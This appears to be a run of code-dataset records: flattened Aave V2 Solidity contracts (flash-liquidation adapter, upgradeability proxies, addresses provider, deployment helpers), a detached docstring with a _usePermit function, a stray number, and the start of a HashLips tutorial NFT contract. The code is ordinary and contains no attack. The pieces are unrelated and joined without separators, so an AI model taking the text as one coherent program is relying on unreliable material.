vars.amountToPull = vars.amountToSwap.add(premium); _pullAToken(assetFrom, vars.aToken, initiator, vars.amountToPull, permitSignature); // Repay flash loan IERC20(assetFrom).safeApprove(address(LENDING_POOL), 0); IERC20(assetFrom).safeApprove(address(LENDING_POOL), vars.flashLoanDebt); } /** * @dev Decodes the information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited * uint256[] minAmountsToReceive List of min amounts to be received from the swap * bool[] swapAllBalance Flag indicating if all the user balance should be swapped * uint256[] permitAmount List of amounts for the permit signature * uint256[] deadline List of deadlines for the permit signature * uint8[] v List of v param for the permit signature * bytes32[] r List of r param for the permit signature * bytes32[] s List of s param for the permit signature * bool[] useEthPath true if the swap needs to occur using ETH in the routing, false otherwise * @return SwapParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (SwapParams memory) { ( address[] memory assetToSwapToList, uint256[] memory minAmountsToReceive, bool[] memory swapAllBalance, uint256[] memory permitAmount, uint256[] memory deadline, uint8[] memory v, bytes32[] memory r, bytes32[] memory s, bool[] memory useEthPath ) = abi.decode( params, (address[], uint256[], bool[], uint256[], uint256[], uint8[], bytes32[], bytes32[], bool[]) ); return SwapParams( assetToSwapToList, minAmountsToReceive, swapAllBalance, PermitParams(permitAmount, deadline, v, r, s), useEthPath ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import {Helpers} from '../protocol/libraries/helpers/Helpers.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; /** * @title UniswapLiquiditySwapAdapter * @notice Uniswap V2 Adapter to swap liquidity. * @author Aave **/ contract FlashLiquidationAdapter is BaseUniswapAdapter { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000; struct LiquidationParams { address collateralAsset; address borrowedAsset; address user; uint256 debtToCover; bool useEthPath; } struct LiquidationCallLocalVars { uint256 initFlashBorrowedBalance; uint256 diffFlashBorrowedBalance; uint256 initCollateralBalance; uint256 diffCollateralBalance; uint256 flashLoanDebt; uint256 soldAmount; uint256 remainingTokens; uint256 borrowedAssetLeftovers; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Liquidate a non-healthy position collateral-wise, with a Health Factor below 1, using Flash Loan and Uniswap to repay flash loan premium. * - The caller (liquidator) with a flash loan covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk minus the flash loan premium. * @param assets Address of asset to be swapped * @param amounts Amount of the asset to be swapped * @param premiums Fee of the flash loan * @param initiator Address of the caller * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium * address borrowedAsset The asset that must be covered * address user The user address with a Health Factor below 1 * uint256 debtToCover The amount of debt to cover * bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); LiquidationParams memory decodedParams = _decodeParams(params); require(assets.length == 1 && assets[0] == decodedParams.borrowedAsset, 'INCONSISTENT_PARAMS'); _liquidateAndSwap( decodedParams.collateralAsset, decodedParams.borrowedAsset, decodedParams.user, decodedParams.debtToCover, decodedParams.useEthPath, amounts[0], premiums[0], initiator ); return true; } /** * @dev * @param collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium * @param borrowedAsset The asset that must be covered * @param user The user address with a Health Factor below 1 * @param debtToCover The amount of debt to coverage, can be max(-1) to liquidate all possible debt * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise * @param flashBorrowedAmount Amount of asset requested at the flash loan to liquidate the user position * @param premium Fee of the requested flash loan * @param initiator Address of the caller */ function _liquidateAndSwap( address collateralAsset, address borrowedAsset, address user, uint256 debtToCover, bool useEthPath, uint256 flashBorrowedAmount, uint256 premium, address initiator ) internal { LiquidationCallLocalVars memory vars; vars.initCollateralBalance = IERC20(collateralAsset).balanceOf(address(this)); if (collateralAsset != borrowedAsset) { vars.initFlashBorrowedBalance = IERC20(borrowedAsset).balanceOf(address(this)); // Track leftover balance to rescue funds in case of external transfers into this contract vars.borrowedAssetLeftovers = vars.initFlashBorrowedBalance.sub(flashBorrowedAmount); } vars.flashLoanDebt = flashBorrowedAmount.add(premium); // Approve LendingPool to use debt token for liquidation IERC20(borrowedAsset).approve(address(LENDING_POOL), debtToCover); // Liquidate the user position and release the underlying collateral LENDING_POOL.liquidationCall(collateralAsset, borrowedAsset, user, debtToCover, false); // Discover the liquidated tokens uint256 collateralBalanceAfter = IERC20(collateralAsset).balanceOf(address(this)); // Track only collateral released, not current asset balance of the contract vars.diffCollateralBalance = collateralBalanceAfter.sub(vars.initCollateralBalance); if (collateralAsset != borrowedAsset) { // Discover flash loan balance after the liquidation uint256 flashBorrowedAssetAfter = IERC20(borrowedAsset).balanceOf(address(this)); // Use only flash loan borrowed assets, not current asset balance of the contract vars.diffFlashBorrowedBalance = flashBorrowedAssetAfter.sub(vars.borrowedAssetLeftovers); // Swap released collateral into the debt asset, to repay the flash loan vars.soldAmount = _swapTokensForExactTokens( collateralAsset, borrowedAsset, vars.diffCollateralBalance, vars.flashLoanDebt.sub(vars.diffFlashBorrowedBalance), useEthPath ); vars.remainingTokens = vars.diffCollateralBalance.sub(vars.soldAmount); } else { vars.remainingTokens = vars.diffCollateralBalance.sub(premium); } // Allow repay of flash loan IERC20(borrowedAsset).approve(address(LENDING_POOL), vars.flashLoanDebt); // Transfer remaining tokens to initiator if (vars.remainingTokens > 0) { IERC20(collateralAsset).transfer(initiator, vars.remainingTokens); } } /** * @dev Decodes the information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset The collateral asset to claim * address borrowedAsset The asset that must be covered and will be exchanged to pay the flash loan premium * address user The user address with a Health Factor below 1 * uint256 debtToCover The amount of debt to cover * bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap * @return LiquidationParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (LiquidationParams memory) { ( address collateralAsset, address borrowedAsset, address user, uint256 debtToCover, bool useEthPath ) = abi.decode(params, (address, address, address, uint256, bool)); return LiquidationParams(collateralAsset, borrowedAsset, user, debtToCover, useEthPath); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseAdminUpgradeabilityProxy.sol'; import './InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param logic address of the initial implementation. * @param admin Address of the proxy administrator. * @param data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize( address logic, address admin, bytes memory data ) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(logic, data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(admin); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) { BaseAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './UpgradeabilityProxy.sol'; /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), 'Cannot change the admin of a proxy to the zero address'); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; //solium-disable-next-line assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; //solium-disable-next-line assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != _admin(), 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseUpgradeabilityProxy.sol'; /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseAdminUpgradeabilityProxy.sol'; /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) { BaseAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; // Prettier ignore to prevent buidler flatter bug // prettier-ignore import {InitializableImmutableAdminUpgradeabilityProxy} from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ contract LendingPoolAddressesProvider is Ownable, ILendingPoolAddressesProvider { string private _marketId; mapping(bytes32 => address) private _addresses; bytes32 private constant LENDING_POOL = 'LENDING_POOL'; bytes32 private constant LENDING_POOL_CONFIGURATOR = 'LENDING_POOL_CONFIGURATOR'; bytes32 private constant POOL_ADMIN = 'POOL_ADMIN'; bytes32 private constant EMERGENCY_ADMIN = 'EMERGENCY_ADMIN'; bytes32 private constant LENDING_POOL_COLLATERAL_MANAGER = 'COLLATERAL_MANAGER'; bytes32 private constant PRICE_ORACLE = 'PRICE_ORACLE'; bytes32 private constant LENDING_RATE_ORACLE = 'LENDING_RATE_ORACLE'; constructor(string memory marketId) public { _setMarketId(marketId); } /** * @dev Returns the id of the Aave market to which this contracts points to * @return The market id **/ function getMarketId() external view override returns (string memory) { return _marketId; } /** * @dev Allows to set the market which this LendingPoolAddressesProvider represents * @param marketId The market id */ function setMarketId(string memory marketId) external override onlyOwner { _setMarketId(marketId); } /** * @dev General function to update the implementation of a proxy registered with * certain `id`. If there is no proxy registered, it will instantiate one and * set as implementation the `implementationAddress` * IMPORTANT Use this function carefully, only for ids that don't have an explicit * setter function, in order to avoid unexpected consequences * @param id The id * @param implementationAddress The address of the new implementation */ function setAddressAsProxy(bytes32 id, address implementationAddress) external override onlyOwner { _updateImpl(id, implementationAddress); emit AddressSet(id, implementationAddress, true); } /** * @dev Sets an address for an id replacing the address saved in the addresses map * IMPORTANT Use this function carefully, as it will do a hard replacement * @param id The id * @param newAddress The address to set */ function setAddress(bytes32 id, address newAddress) external override onlyOwner { _addresses[id] = newAddress; emit AddressSet(id, newAddress, false); } /** * @dev Returns an address by id * @return The address */ function getAddress(bytes32 id) public view override returns (address) { return _addresses[id]; } /** * @dev Returns the address of the LendingPool proxy * @return The LendingPool proxy address **/ function getLendingPool() external view override returns (address) { return getAddress(LENDING_POOL); } /** * @dev Updates the implementation of the LendingPool, or creates the proxy * setting the new `pool` implementation on the first time calling it * @param pool The new LendingPool implementation **/ function setLendingPoolImpl(address pool) external override onlyOwner { _updateImpl(LENDING_POOL, pool); emit LendingPoolUpdated(pool); } /** * @dev Returns the address of the LendingPoolConfigurator proxy * @return The LendingPoolConfigurator proxy address **/ function getLendingPoolConfigurator() external view override returns (address) { return getAddress(LENDING_POOL_CONFIGURATOR); } /** * @dev Updates the implementation of the LendingPoolConfigurator, or creates the proxy * setting the new `configurator` implementation on the first time calling it * @param configurator The new LendingPoolConfigurator implementation **/ function setLendingPoolConfiguratorImpl(address configurator) external override onlyOwner { _updateImpl(LENDING_POOL_CONFIGURATOR, configurator); emit LendingPoolConfiguratorUpdated(configurator); } /** * @dev Returns the address of the LendingPoolCollateralManager. Since the manager is used * through delegateCall within the LendingPool contract, the proxy contract pattern does not work properly hence * the addresses are changed directly * @return The address of the LendingPoolCollateralManager **/ function getLendingPoolCollateralManager() external view override returns (address) { return getAddress(LENDING_POOL_COLLATERAL_MANAGER); } /** * @dev Updates the address of the LendingPoolCollateralManager * @param manager The new LendingPoolCollateralManager address **/ function setLendingPoolCollateralManager(address manager) external override onlyOwner { _addresses[LENDING_POOL_COLLATERAL_MANAGER] = manager; emit LendingPoolCollateralManagerUpdated(manager); } /** * @dev The functions below are getters/setters of addresses that are outside the context * of the protocol hence the upgradable proxy pattern is not used **/ function getPoolAdmin() external view override returns (address) { return getAddress(POOL_ADMIN); } function setPoolAdmin(address admin) external override onlyOwner { _addresses[POOL_ADMIN] = admin; emit ConfigurationAdminUpdated(admin); } function getEmergencyAdmin() external view override returns (address) { return getAddress(EMERGENCY_ADMIN); } function setEmergencyAdmin(address emergencyAdmin) external override onlyOwner { _addresses[EMERGENCY_ADMIN] = emergencyAdmin; emit EmergencyAdminUpdated(emergencyAdmin); } function getPriceOracle() external view override returns (address) { return getAddress(PRICE_ORACLE); } function setPriceOracle(address priceOracle) external override onlyOwner { _addresses[PRICE_ORACLE] = priceOracle; emit PriceOracleUpdated(priceOracle); } function getLendingRateOracle() external view override returns (address) { return getAddress(LENDING_RATE_ORACLE); } function setLendingRateOracle(address lendingRateOracle) external override onlyOwner { _addresses[LENDING_RATE_ORACLE] = lendingRateOracle; emit LendingRateOracleUpdated(lendingRateOracle); } /** * @dev Internal function to update the implementation of a specific proxied component of the protocol * - If there is no proxy registered in the given `id`, it creates the proxy setting `newAdress` * as implementation and calls the initialize() function on the proxy * - If there is already a proxy registered, it just updates the implementation to `newAddress` and * calls the initialize() function via upgradeToAndCall() in the proxy * @param id The id of the proxy to be updated * @param newAddress The address of the new implementation **/ function _updateImpl(bytes32 id, address newAddress) internal { address payable proxyAddress = payable(_addresses[id]); InitializableImmutableAdminUpgradeabilityProxy proxy = InitializableImmutableAdminUpgradeabilityProxy(proxyAddress); bytes memory params = abi.encodeWithSignature('initialize(address)', address(this)); if (proxyAddress == address(0)) { proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this)); proxy.initialize(newAddress, params); _addresses[id] = address(proxy); emit ProxyCreated(id, address(proxy)); } else { proxy.upgradeToAndCall(newAddress, params); } } function _setMarketId(string memory marketId) internal { _marketId = marketId; emit MarketIdSet(marketId); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {LendingPool} from '../protocol/lendingpool/LendingPool.sol'; import { LendingPoolAddressesProvider } from '../protocol/configuration/LendingPoolAddressesProvider.sol'; import {LendingPoolConfigurator} from '../protocol/lendingpool/LendingPoolConfigurator.sol'; import {AToken} from '../protocol/tokenization/AToken.sol'; import { DefaultReserveInterestRateStrategy } from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {StringLib} from './StringLib.sol'; contract ATokensAndRatesHelper is Ownable { address payable private pool; address private addressesProvider; address private poolConfigurator; event deployedContracts(address aToken, address strategy); struct InitDeploymentInput { address asset; uint256[6] rates; } struct ConfigureReserveInput { address asset; uint256 baseLTV; uint256 liquidationThreshold; uint256 liquidationBonus; uint256 reserveFactor; bool stableBorrowingEnabled; } constructor( address payable _pool, address _addressesProvider, address _poolConfigurator ) public { pool = _pool; addressesProvider = _addressesProvider; poolConfigurator = _poolConfigurator; } function initDeployment(InitDeploymentInput[] calldata inputParams) external onlyOwner { for (uint256 i = 0; i < inputParams.length; i++) { emit deployedContracts( address(new AToken()), address( new DefaultReserveInterestRateStrategy( LendingPoolAddressesProvider(addressesProvider), inputParams[i].rates[0], inputParams[i].rates[1], inputParams[i].rates[2], inputParams[i].rates[3], inputParams[i].rates[4], inputParams[i].rates[5] ) ) ); } } function configureReserves(ConfigureReserveInput[] calldata inputParams) external onlyOwner { LendingPoolConfigurator configurator = LendingPoolConfigurator(poolConfigurator); for (uint256 i = 0; i < inputParams.length; i++) { configurator.configureReserveAsCollateral( inputParams[i].asset, inputParams[i].baseLTV, inputParams[i].liquidationThreshold, inputParams[i].liquidationBonus ); configurator.enableBorrowingOnReserve( inputParams[i].asset, inputParams[i].stableBorrowingEnabled ); configurator.setReserveFactor(inputParams[i].asset, inputParams[i].reserveFactor); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; library StringLib { function concat(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a, b)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {StableDebtToken} from '../protocol/tokenization/StableDebtToken.sol'; import {VariableDebtToken} from '../protocol/tokenization/VariableDebtToken.sol'; import {LendingRateOracle} from '../mocks/oracle/LendingRateOracle.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {StringLib} from './StringLib.sol'; contract StableAndVariableTokensHelper is Ownable { address payable private pool; address private addressesProvider; event deployedContracts(address stableToken, address variableToken); constructor(address payable _pool, address _addressesProvider) public { pool = _pool; addressesProvider = _addressesProvider; } function initDeployment(address[] calldata tokens, string[] calldata symbols) external onlyOwner { require(tokens.length == symbols.length, 'Arrays not same length'); require(pool != address(0), 'Pool can not be zero address'); for (uint256 i = 0; i < tokens.length; i++) { emit deployedContracts(address(new StableDebtToken()), address(new VariableDebtToken())); } } function setOracleBorrowRates( address[] calldata assets, uint256[] calldata rates, address oracle ) external onlyOwner { require(assets.length == rates.length, 'Arrays not same length'); for (uint256 i = 0; i < assets.length; i++) { // LendingRateOracle owner must be this contract LendingRateOracle(oracle).setMarketBorrowRate(assets[i], rates[i]); } } function setOracleOwnership(address oracle, address admin) external onlyOwner { require(admin != address(0), 'owner can not be zero'); require(LendingRateOracle(oracle).owner() == address(this), 'helper is not owner'); LendingRateOracle(oracle).transferOwnership(admin); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol'; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; contract LendingRateOracle is ILendingRateOracle, Ownable { mapping(address => uint256) borrowRates; mapping(address => uint256) liquidityRates; function getMarketBorrowRate(address _asset) external view override returns (uint256) { return borrowRates[_asset]; } function setMarketBorrowRate(address _asset, uint256 _rate) external override onlyOwner { borrowRates[_asset] = _rate; } function getMarketLiquidityRate(address _asset) external view returns (uint256) { return liquidityRates[_asset]; } function setMarketLiquidityRate(address _asset, uint256 _rate) external onlyOwner { liquidityRates[_asset] = _rate; } }
Tells if the permit method should be called by inspecting if there is a valid signature. If signature params are set to 0, then permit won't be called. signature struct containing the permit signature return whether or not permit should be called/
function _usePermit(PermitSignature memory signature) internal pure returns (bool) { return !(uint256(signature.deadline) == uint256(signature.v) && uint256(signature.deadline) == 0); }
68,091
/** *Submitted for verification at Etherscan.io on 2022-01-09 */ // SPDX-License-Identifier: MIT /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval( address indexed owner, address indexed approved, uint256 indexed tokenId ); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related 